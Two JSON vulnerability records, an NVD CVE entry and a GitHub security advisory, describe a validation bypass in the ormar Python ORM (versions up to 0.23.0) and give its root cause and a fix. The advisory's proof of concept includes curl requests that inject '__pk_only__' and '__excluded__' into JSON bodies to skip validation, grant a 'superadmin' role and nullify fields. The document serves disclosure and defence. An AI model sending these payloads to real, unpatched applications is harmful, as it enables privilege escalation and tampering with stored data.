{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:collerek:ormar:*:*:*:*:*:python:*:*",
              "matchCriteriaId": "28060AA9-6E58-42EE-9043-CC3998D6B0ED",
              "versionEndExcluding": "0.23.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ormar is a async mini ORM for Python. Versions 0.23.0 and below are vulnerable to Pydantic validation bypass through the model constructor, allowing any unauthenticated user to skip all field validation by injecting \"__pk_only__\": true into a JSON request body. By injecting \"__pk_only__\": true into a JSON request body, an unauthenticated attacker can skip all field validation and persist unvalidated data directly to the database. A secondary __excluded__ parameter injection uses the same pattern to selectively nullify arbitrary model fields (e.g., email or role) during construction. This affects ormar\u0027s canonical FastAPI integration pattern recommended in its official documentation, enabling privilege escalation, data integrity violations, and business logic bypass in any application using ormar.Model directly as a request body parameter. This issue has been fixed in version 0.23.1."
    },
    {
      "lang": "es",
      "value": "ormar es un mini ORM as\u00edncrono para Python. Las versiones 0.23.0 e inferiores son vulnerables a un bypass de validaci\u00f3n de Pydantic a trav\u00e9s del constructor del modelo, permitiendo a cualquier usuario no autenticado omitir toda la validaci\u00f3n de campos inyectando \u0027__pk_only__\u0027: true en un cuerpo de solicitud JSON. Al inyectar \u0027__pk_only__\u0027: true en un cuerpo de solicitud JSON, un atacante no autenticado puede omitir toda la validaci\u00f3n de campos y persistir datos no validados directamente en la base de datos. Una inyecci\u00f3n de par\u00e1metro secundaria __excluded__ utiliza el mismo patr\u00f3n para anular selectivamente campos de modelo arbitrarios (p. ej., correo electr\u00f3nico o rol) durante la construcci\u00f3n. Esto afecta el patr\u00f3n can\u00f3nico de integraci\u00f3n de FastAPI de ormar recomendado en su documentaci\u00f3n oficial, permitiendo la escalada de privilegios, violaciones de integridad de datos y bypass de l\u00f3gica de negocio en cualquier aplicaci\u00f3n que utilice ormar.Model directamente como par\u00e1metro del cuerpo de la solicitud. Este problema ha sido solucionado en la versi\u00f3n 0.23.1."
    }
  ],
  "id": "CVE-2026-27953",
  "lastModified": "2026-03-27T21:48:05.810",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-19T21:17:09.573",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/examples/fastapi_quick_start.py#L55"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/fields/foreign_key.py#L41"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/helpers/pydantic.py#L108"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/model.py#L89"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L128"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L292"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/ormar-orm/ormar/commit/7f22aa21a7614b993970345b392dabb0ccde0ab3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/ormar-orm/ormar/releases/tag/0.23.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-915"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "ormar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27953"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T16:27:43Z",
    "nvd_published_at": "2026-03-19T21:17:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Pydantic validation bypass in `ormar`\u0027s model constructor allows any unauthenticated user to skip **all** field validation \u2014 type checks, constraints, `@field_validator`/`@model_validator` decorators, choices enforcement, and required-field checks \u2014 by injecting `\"__pk_only__\": true` into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the **canonical usage pattern** recommended in ormar\u0027s official documentation and examples.\n\nA secondary `__excluded__` parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.\n\n### Details\n\n**Root cause:** `NewBaseModel.__init__` ([`ormar/models/newbasemodel.py`, line 128](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L128)) pops `__pk_only__` directly from user-supplied `**kwargs` before any validation occurs:\n\n```python\n# ormar/models/newbasemodel.py, lines 128-142\npk_only = kwargs.pop(\"__pk_only__\", False)      # \u2190 extracted from user kwargs\nobject.__setattr__(self, \"__pk_only__\", pk_only)\n\nnew_kwargs, through_tmp_dict = self._process_kwargs(kwargs)\n\nif not pk_only:\n    # Normal path: full Pydantic validation\n    new_kwargs = self.serialize_nested_models_json_fields(new_kwargs)\n    self.__pydantic_validator__.validate_python(\n        new_kwargs, self_instance=self\n    )\nelse:\n    # Bypass path: NO validation at all\n    fields_set = {self.ormar_config.pkname}\n    values = new_kwargs\n    object.__setattr__(self, \"__dict__\", values)       # raw dict written directly\n    object.__setattr__(self, \"__pydantic_fields_set__\", fields_set)\n```\n\nThe `__pk_only__` flag was designed as an internal optimization for creating lightweight FK placeholder instances in [`ormar/fields/foreign_key.py` (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign_key.py#L41). However, because it is extracted from `**kwargs` via `.pop()` with a `False` default, any external caller that passes user-controlled data to the model constructor can inject this flag.\n\n**Why the canonical FastAPI + ormar pattern is vulnerable:**\n\nOrmar\u0027s official example ([`examples/fastapi_quick_start.py`, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:\n\n```python\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n    await item.save()\n    return item\n```\n\nFastAPI parses the JSON body and calls `TypeAdapter.validate_python(body_dict)`, which triggers ormar\u0027s `__init__`. The `__pk_only__` key is popped at line 128 **before** Pydantic\u0027s validator inspects the data, so Pydantic never sees it \u2014 even `extra=\u0027forbid\u0027` would not prevent this, because the key is already consumed by ormar.\n\nThe ormar Pydantic `model_config` (set in [`ormar/models/helpers/pydantic.py`, line 108](https://github.com/collerek/ormar/blob/master/ormar/models/helpers/pydantic.py#L108)) does not set `extra=\u0027forbid\u0027`, providing no protection even in theory.\n\n**What is bypassed when `__pk_only__=True`:**\n- All type coercion and type checking (e.g., string for int field)\n- `max_length` constraints on String fields\n- `choices` constraints\n- All `@field_validator` and `@model_validator` decorators\n- `nullable=False` enforcement at the Pydantic level\n- Required-field enforcement (only `pkname` is put in `fields_set`)\n- `serialize_nested_models_json_fields()` preprocessing\n\n**Save path persists unvalidated data to the database:**\n\nAfter construction with `pk_only=True`, calling `.save()` ([`ormar/models/model.py`, lines 89-107](https://github.com/collerek/ormar/blob/master/ormar/models/model.py#L89)) reads fields directly from `self.__dict__` via `_extract_model_db_fields()`, then executes `table.insert().values(**self_fields)` \u2014 persisting the unvalidated data to the database with no re-validation.\n\n**Secondary vulnerability \u2014 `__excluded__` injection:**\n\nThe same pattern applies to `__excluded__` at [`ormar/models/newbasemodel.py`, line 292](https://github.com/collerek/ormar/blob/master/ormar/models/newbasemodel.py#L292):\n\n```python\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n```\n\nAt lines 326-329, fields listed in `__excluded__` are silently set to `None`:\n\n```python\nfor field_to_nullify in excluded:\n    new_kwargs[field_to_nullify] = None\n```\n\nAn attacker can inject `\"__excluded__\": [\"email\", \"password_hash\"]` to nullify arbitrary fields during construction.\n\n**Affected entry points:**\n\n| Entry Point | Exploitable? |\n|---|---|\n| `async def create_item(item: Item)` (FastAPI route) | Yes |\n| `Model.objects.create(**user_dict)` | Yes |\n| `Model(**user_dict)` | Yes |\n| `Model.model_validate(user_dict)` | Yes |\n\n### PoC\n\n**Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar\u0027s docs:**\n\n```python\n# app.py\nfrom contextlib import asynccontextmanager\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI\nimport ormar\n\nDATABASE_URL = \"sqlite+aiosqlite:///test.db\"\normar_base_config = ormar.OrmarConfig(\n    database=ormar.DatabaseConnection(DATABASE_URL),\n    metadata=sqlalchemy.MetaData(),\n)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    database_ = app.state.database\n    if not database_.is_connected:\n        await database_.connect()\n    # Create tables\n    engine = sqlalchemy.create_engine(DATABASE_URL.replace(\"+aiosqlite\", \"\"))\n    ormar_base_config.metadata.create_all(engine)\n    engine.dispose()\n    yield\n    database_ = app.state.database\n    if database_.is_connected:\n        await database_.disconnect()\n\napp = FastAPI(lifespan=lifespan)\ndatabase = ormar.DatabaseConnection(DATABASE_URL)\napp.state.database = database\n\nclass User(ormar.Model):\n    ormar_config = ormar_base_config.copy(tablename=\"users\")\n\n    id: int = ormar.Integer(primary_key=True)\n    name: str = ormar.String(max_length=50)\n    email: str = ormar.String(max_length=100)\n    role: str = ormar.String(max_length=20, default=\"user\")\n    balance: int = ormar.Integer(default=0)\n\n# Canonical ormar pattern from official examples\n@app.post(\"/users/\", response_model=User)\nasync def create_user(user: User):\n    await user.save()\n    return user\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8000)\n```\n\n**Step 2: Send a normal request (validation works correctly):**\n\n```bash\n# This correctly rejects \u2014 \"name\" exceeds max_length=50\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\n    \"email\": \"user@example.com\"\n  }\u0027\n# Returns: 422 Validation Error\n```\n\n**Step 3: Inject `__pk_only__` to bypass ALL validation:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"__pk_only__\": true,\n    \"name\": \"\",\n    \"email\": \"not-an-email\",\n    \"role\": \"superadmin\",\n    \"balance\": -99999\n  }\u0027\n# Returns: 200 OK \u2014 all fields persisted to database WITHOUT validation\n# - \"name\" is empty despite being required\n# - \"email\" is not a valid email\n# - \"role\" is \"superadmin\" (bypassing any validator that restricts to \"user\"/\"admin\")\n# - \"balance\" is negative (bypassing any ge=0 constraint)\n```\n\n**Step 4: Inject `__excluded__` to nullify arbitrary fields:**\n\n```bash\ncurl -X POST http://127.0.0.1:8000/users/ \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"__excluded__\": [\"email\", \"role\"],\n    \"name\": \"attacker\",\n    \"email\": \"will-be-nullified@example.com\",\n    \"role\": \"will-be-nullified\"\n  }\u0027\n# Returns: 200 OK \u2014 email and role are set to NULL regardless of input\n```\n\n### Impact\n\n**Who is impacted:** Every application using ormar\u0027s canonical FastAPI integration pattern (`async def endpoint(item: OrmarModel)`) is vulnerable. This is the primary usage pattern documented in ormar\u0027s official examples and documentation.\n\n**Vulnerability type:** Complete Pydantic validation bypass.\n\n**Impact scenarios:**\n- **Privilege escalation**: If a model has a `role` or `is_admin` field with a Pydantic validator restricting values to `\"user\"`, an attacker can set `role=\"superadmin\"` by bypassing the validator\n- **Data integrity violation**: Type constraints (`max_length`, `ge`/`le`, regex patterns) are all bypassed \u2014 invalid data is persisted to the database\n- **Business logic bypass**: Custom `@field_validator` and `@model_validator` decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped\n- **Field nullification** (via `__excluded__`): Audit fields, tracking fields, or required business fields can be selectively set to NULL\n\n**Suggested fix:**\n\nReplace `kwargs.pop(\"__pk_only__\", False)` with a keyword-only parameter that cannot be injected via `**kwargs`:\n\n```python\n# Before (vulnerable)\ndef __init__(self, *args: Any, **kwargs: Any) -\u003e None:\n    ...\n    pk_only = kwargs.pop(\"__pk_only__\", False)\n\n# After (secure)\ndef __init__(self, *args: Any, _pk_only: bool = False, **kwargs: Any) -\u003e None:\n    ...\n    object.__setattr__(self, \"__pk_only__\", _pk_only)\n```\n\nApply the same fix to `__excluded__`:\n\n```python\n# Before (vulnerable)\nexcluded: set[str] = kwargs.pop(\"__excluded__\", set())\n\n# After (secure) \u2014 pass via keyword-only _excluded parameter\ndef __init__(self, *args: Any, _pk_only: bool = False, _excluded: set | None = None, **kwargs: Any) -\u003e None:\n    ...\n    # In _process_kwargs:\n    excludes = _excluded or set()\n```\n\nInternal callers in `foreign_key.py` would pass `_pk_only=True` as a named argument. Keyword-only parameters prefixed with `_` cannot be injected via JSON body deserialization or `Model(**user_dict)` unpacking.",
  "id": "GHSA-f964-whrq-44h8",
  "modified": "2026-03-20T21:35:11Z",
  "published": "2026-03-19T16:27:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/security/advisories/GHSA-f964-whrq-44h8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/commit/7f22aa21a7614b993970345b392dabb0ccde0ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ormar-orm/ormar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/examples/fastapi_quick_start.py#L55"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/fields/foreign_key.py#L41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/helpers/pydantic.py#L108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/model.py#L89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/blob/master/ormar/models/newbasemodel.py#L292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ormar-orm/ormar/releases/tag/0.23.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ormar Pydantic Validation Bypass via __pk_only__ and __excluded__ Kwargs Injection in Model Constructor"
}